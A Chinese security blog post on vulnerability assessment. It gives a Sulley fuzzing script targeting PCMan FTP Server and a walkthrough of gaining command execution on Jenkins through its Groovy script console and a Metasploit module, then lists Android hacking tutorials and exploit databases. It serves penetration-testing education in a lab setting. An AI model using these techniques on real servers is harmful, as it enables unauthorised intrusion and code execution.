\xeb\xfe's Blog.

漏洞评估-1

2017/12/15

漏洞评估

确定了最可行的攻击方法之后,您需要考虑如何访问目标。在脆弱性分析过程中,您可以结合前一阶段学到的信息,并用它来了解哪些攻击是可行的。其中,漏洞分析考虑了端口和漏洞扫描,通过抓取banner收集的数据以及收集情报期间收集的信息。

评估分类 书签
网络评估
Web应用程序评估
数据库评估

网络评估

Fuzzers-sulley

代码(fuzz_PCManftpd32.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#coding=utf-8
# 视频1使用Sulley框架的实现fuzz
# http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework
# https://www.exploit-db.com/exploits/37731/

# -------------------------------------------------------------------
# Usage:
# C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
# C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"

# -------------------------------------------------------------------
# 分析:

"""
220 PCMan's FTP Server 2.0 Ready.
USER anonymous
331 User name okay, need password.
PASS password12345
230 User logged in
PORT 192,168,1,106,206,27
200 Command okay.
STOR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,28
200 Command okay.
LIST
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,29
200 Command okay.
RETR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
QUIT
"""

from sulley import *

# 总体概述
#1.创建请求(定义模糊语法)
#2.定义会话
#3.定义目标
#4.fuzz!

# s_initialize - 构建一个新的请求
# s_static ("USER") - 一个静态(未改变)的字符串,不会被fuzz
# s_delin(" ") - 可以fuzz的分隔符,将有不同的使用s_string的变动
# s_string("anonymous") - 一个将被变动的字符串。 包含比s_delim更多的变动

# -------------------------------------------------------------------
# 语法测试
s_initialize("user")
s_static("USER")
s_delim(" ", fuzzable=False)
s_string("anonymous")
s_static("\r\n")

s_initialize("pass")
s_static("PASS")
s_delim(" ", fuzzable=False)
s_string("pass12345")
s_static("\r\n")

s_initialize("put")
s_static("PUT")
s_delim(" ", fuzzable=False)
s_string("fuzz_strings")
s_static("\r\n")

s_initialize("stor")
s_static("STOR")
s_delim(" ", fuzzable=True)
s_string("AAAA")
s_static("\r\n")

s_initialize("mkd")
s_static("MKD")
s_delim(" ", fuzzable=False)
s_string("AAAA")
s_static("\r\n")

# -------------------------------------------------------------------
# 定义pre_send函数。 三次握手后会立即执行
def receive_ftp_banner(sock):
data = sock.recv(1024)
print(data)

# -------------------------------------------------------------------
# 定义会话
# 会话参数
SESSION_FILENAME = "pcmanftpd-session" # 跟踪当前的fuzz状态
SLEEP_TIME = 0.5 # 在两次fuzz尝试之间暂停
TIMEOUT = 5 # 没有连接5秒后,fuzz会超时
CRASH_THRESHOLD = 4 # 4次崩溃后,参数将被跳过

mysession = sessions.session(
session_filename=SESSION_FILENAME,
sleep_time=SLEEP_TIME,
timeout=TIMEOUT,
crash_threshold=CRASH_THRESHOLD)

mysession.pre_send = receive_ftp_banner
mysession.connect(s_get("user"))
mysession.connect(s_get("user"), s_get("pass"))
mysession.connect(s_get("pass"), s_get("stor"))
mysession.connect(s_get("pass"), s_get("mkd"))
mysession.connect(s_get("pass"), s_get("put"))

# -------------------------------------------------------------------
# 绘制代表fuzz路径的图形。
with open("session_test.udg", "w+") as f:
f.write(mysession.render_graph_udraw())

# -------------------------------------------------------------------
# 一些概述输出

print("Number of mutation during one case: %s\n" % str(s_num_mutations()))
print("Total number of mutations: %s\n" % str(s_num_mutations() * 5))

decision = raw_input("Do you want to continue?(y/n): ")
if decision == "n":
exit()

# -------------------------------------------------------------------
# 定义目标具体参数
host = "192.168.1.107"
ftp_port = 21
netmon_port = 26001
procmon_port = 26002
target = sessions.target(host, ftp_port)
target.procmon = pedrpc.client(host, procmon_port)
target.netmon = pedrpc.client(host, netmon_port)

target.procmon_options = {
"proc_name": "pcmanftpd2.exe",
"stop_commands": ["wmic process where (name='PCManFTPD2.exe') call terminate"],
"start_commands": ["C:\\PCManFTP\\PCManFTPD2.exe"]
}

# 将目标添加到会话
mysession.add_target(target)

# -------------------------------------------------------------------
# 让我们开始搞事情

print("Starting fuzzing now")
mysession.fuzz()

# 开启fuzz进程
# 也可以通过网页界面(http://127.0.0.1:26000)查看当前状态

代码分析

该代码通过sulley框架来进行fuzz测试,首先进行语法测试,构造多个新请求(包括FTP的user、pass、put、stor、mkd),设置静态字符串和FUZZ字符串,然后定义pre_send三次握手后立即执行,定义会话及会话参数,绘制udg格式的fuzz路径图形,输入一些概述后定义目标具体参数,将目标添加到会话中,直接开始搞事情。

期间可以通过网页界面(http://127.0.0.1:26000)查看当前状态

Jenkins Hacking

  1. 如何部署jenkins?
  2. 如何利用jenkins服务器?

Jenkins是一个独立、开源的自动化服务器,可用于自动执行各种任务,如构建,测试和部署软件。Jenkins可以通过本地系统软件包Docker安装,甚至是独立运行在安装java运行环境的任何机器上。

如何部署jenkins?

这引导将使用“独立的”Jenkins发行版,该发行版要求最少使用Java 7,但建议使用Java 8。还建议使用超过512MB RAM的系统。

  1. 下载Jenkins.
  2. 在下载目录中打开终端并运行java -jar jenkins.war
  3. 在浏览器中打开http:// localhost:8080并按照说明完成安装。
  4. 许多Pipeline示例需要在与Jenkins相同的计算机上安装Docker。

请检查安装日志,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
root@lab:~/Downloads# java -jar jenkins.war
Running from: /root/Downloads/jenkins.war
webroot: $user.home/.jenkins
Mar 15, 2017 5:03:49 AM Main deleteWinstoneTempContents
WARNING: Failed to delete the temporary Winstone file /tmp/winstone/jenkins.war
Mar 15, 2017 5:03:50 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Logging initialized @6168ms
Mar 15, 2017 5:03:50 AM winstone.Logger logInternal
INFO: Beginning extraction from war file
Mar 15, 2017 5:04:05 AM org.eclipse.jetty.util.log.JavaUtilLog warn
WARNING: Empty contextPath
Mar 15, 2017 5:04:06 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: jetty-9.2.z-SNAPSHOT
Mar 15, 2017 5:04:10 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: NO JSP Support for /, did not find org.eclipse.jetty.jsp.JettyJspServlet
Jenkins home directory: /root/.jenkins found at: $user.home/.jenkins
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started w.@30990c1b{/,file:/root/.jenkins/war/,AVAILABLE}{/root/.jenkins/war}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started ServerConnector@54227100{HTTP/1.1}{0.0.0.0:8080}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started @36602ms
Mar 15, 2017 5:04:20 AM winstone.Logger logInternal
INFO: Winstone Servlet Engine v2.0 running: controlPort=disabled
Mar 15, 2017 5:04:22 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started initialization
Mar 15, 2017 5:04:23 AM jenkins.InitReactorRunner$1 onAttained
INFO: Listed all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Prepared all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Augmented all extensions
Mar 15, 2017 5:04:51 AM jenkins.InitReactorRunner$1 onAttained
INFO: Loaded all jobs
Mar 15, 2017 5:04:51 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Started Download metadata
Mar 15, 2017 5:04:52 AM org.jenkinsci.main.modules.sshd.SSHD start
INFO: Started SSHD at port 43731
Mar 15, 2017 5:04:53 AM jenkins.InitReactorRunner$1 onAttained
INFO: Completed initialization
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:55 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701]: org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485
Mar 15, 2017 5:04:55 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485: defining beans [authenticationManager]; root of factory hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:58 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4]: org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965
Mar 15, 2017 5:04:58 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965: defining beans [filter,legacy]; root of factory hierarchy
Mar 15, 2017 5:04:59 AM jenkins.install.SetupWizard init
INFO:

*************************************************************
*************************************************************
*************************************************************

Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

e019dca34bac4a30beca67b53e821f35

This may also be found at: /root/.jenkins/secrets/initialAdminPassword

*************************************************************
*************************************************************
*************************************************************

Mar 15, 2017 5:05:06 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:09 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
Mar 15, 2017 5:05:09 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:10 AM hudson.WebAppMain$3 run
INFO: Jenkins is fully up and running
Mar 15, 2017 5:05:10 AM javax.jmdns.impl.HostInfo newHostInfo
WARNING: Could not intialize the host network interface on nullbecause of an error: lab: lab: Temporary failure in name resolution
java.net.UnknownHostException: lab: lab: Temporary failure in name resolution
at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
at javax.jmdns.impl.HostInfo.newHostInfo(HostInfo.java:75)
at javax.jmdns.impl.JmDNSImpl.<init>(JmDNSImpl.java:407)
at javax.jmdns.JmDNS.create(JmDNS.java:60)
at hudson.DNSMultiCast$1.call(DNSMultiCast.java:33)
at jenkins.util.ContextResettingExecutorService$2.call(ContextResettingExecutorService.java:46)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: java.net.UnknownHostException: lab: Temporary failure in name resolution
at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
... 9 more

Mar 15, 2017 5:05:18 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tools.JDKInstaller
Mar 15, 2017 5:05:18 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Finished Download metadata. 27,508 ms

请注意这里,我们需要密码来完成设置。

1
2
3
4
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

e019dca34bac4a30beca67b53e821f35

如何利用jenkins服务器?

访问 http://127.0.0.1:8080/script, 并用脚本控制台pwn jenkins服务器。

脚本控制台

输入一个任意的Groovy脚本并在服务器上执行它。用于故障排除和诊断。使用’println’命令来查看输出结果(如果使用System.out,它将转到服务器的stdout,这是很难看到的。)

例如:

execmd.groovy

execmd.groovy 可以帮助你在jenkins服务器上执行os命令。

1
2
3
4
5
6
7
8
# Windows

println "cmd.exe /c dir".execute().text


# Linux

println "uname -a".execute().text

writefile.groovy

writefile.groovy 可以将字符串写入jenkins服务器上的文件。

1
2
3
4
new File("/tmp/test.sh").write("""
echo "123"
echo "456"
""")

如果你更喜欢metasploit-framework,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > show options

Module options (exploit/multi/http/jenkins_script_console):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.100 yes The target address
RPORT 8080 yes The target port
TARGETURI / yes The path to jenkins
USERNAME test no The username to authenticate as
VHOST no HTTP server virtual host


Exploit target:

Id Name
-- ----
1 Linux
msf exploit(jenkins_script_console) > exploit

链接

  1. https://jenkins.io/

WEB应用程序评估

Android hacking 与 安全

  1. 利用保护应用程序组件
  2. 内容提供者泄露
  3. 利用广播接收机
  4. 利用非预期的数据泄漏端信道数据泄漏
  5. 使用jdb调试java应用程序
  6. 利用可调试的android应用程序
  7. 攻击android的webviews
  8. 根检测规避
  9. 不安全的本地存储共享偏好
  10. 不安全的本地存储
  11. 黑盒评估introspy
  12. 保护共享偏好第三方库
  13. drozer介绍
  14. 检查Android应用程序特定的数据非根设备
  15. 使用备份技术攻击android应用程序
  16. 破解密码学
  17. 破解Android应用程序二进制文件
  18. 逆向工程介绍
  19. 使用nosql数据库不安全的数据存储
  20. 使用gdb在android模拟器上调试应用程序

安卓逆向工程

  1. http://www.fasteque.com/android-reverse-engineering-101-part-1/
  2. http://www.fasteque.com/android-reverse-engineering-101-part-2/
  3. http://www.fasteque.com/android-reverse-engineering-101-part-3/
  4. http://www.fasteque.com/android-reverse-engineering-101-part-4/
  5. http://www.fasteque.com/android-reverse-engineering-101-part-5/

Android安全和渗透利用

  1. 介绍
  2. Android的安全性-介绍
  3. Android-架构
  4. Android-权限
  5. Android-应用
  6. Genymotion(一款安卓模拟器) 设置
  7. Android-应用程序组件
  8. Dex-分析
  9. Android-调试桥
  10. 基于日志记录的漏洞
  11. 应用逆向
  12. 分析Android的软件及恶意软件
  13. 流量分析
  14. SSL-Pinning
  15. 泄漏的内容提供商
  16. Drozer-功夫
  17. 基于read的内容提供商漏洞
  18. 进阶Drozer-功夫
  19. Drozer脚本
  20. Dropbox的脆弱性
  21. 基于备份的漏洞
  22. 客户端注入
  23. Hooking 介绍和不安全的设置
  24. 基于Andbug的Android调试
  25. JDB调试
  26. 用Introspy自动Hooking
  27. Cydia-基底
  28. 使用Xposed进行Hooking
  29. Androguard脚本和分析
  30. 基于webviews的漏洞
  31. 利用Metasploit工具攻击webviews

书籍推荐

  1. Android安全手册
  2. Android黑客手册
  3. 学习针对Android设备的测试

参考链接

  1. http://www.exploit-db.com/
  2. http://www.cvedetails.com/
  3. http://packetstormsecurity.com/
  4. http://www.securityfocus.com/bid
  5. http://nvd.nist.gov/
  6. http://osvdb.org/
  7. http://cve.mitre.org/
  8. http://sec.jetlib.com/
  9. http://0day.today/
  10. https://www.seebug.org/
  11. https://www.rapid7.com/db/
  12. http://zerodayinitiative.com/advisories/published/
  13. http://exploitsearch.net/
  14. http://nvd.nist.gov/download/nvd-rss-analyzed.xml
  15. http://www.intelligentexploit.com/
  16. https://wpvulndb.com/
  17. http://www.wordpressexploit.com/
  18. http://www.drupalexploit.com/
  19. http://www.openwall.com/lists/oss-security/
  20. http://exploitsearch.net/
  21. https://www.vulnerability-lab.com/
CATALOG
  1. 1. 漏洞评估
    1. 1.1. 网络评估
      1. 1.1.1. Fuzzers-sulley
        1. 1.1.1.1. 代码分析
      2. 1.1.2. Jenkins Hacking
        1. 1.1.2.1. 如何部署jenkins?
        2. 1.1.2.2. 如何利用jenkins服务器?
        3. 1.1.2.3. execmd.groovy
        4. 1.1.2.4. writefile.groovy
        5. 1.1.2.5. 链接
    2. 1.2. WEB应用程序评估
      1. 1.2.1. Android hacking 与 安全
      2. 1.2.2. 安卓逆向工程
      3. 1.2.3. Android安全和渗透利用
      4. 1.2.4. 书籍推荐
  2. 2. 参考链接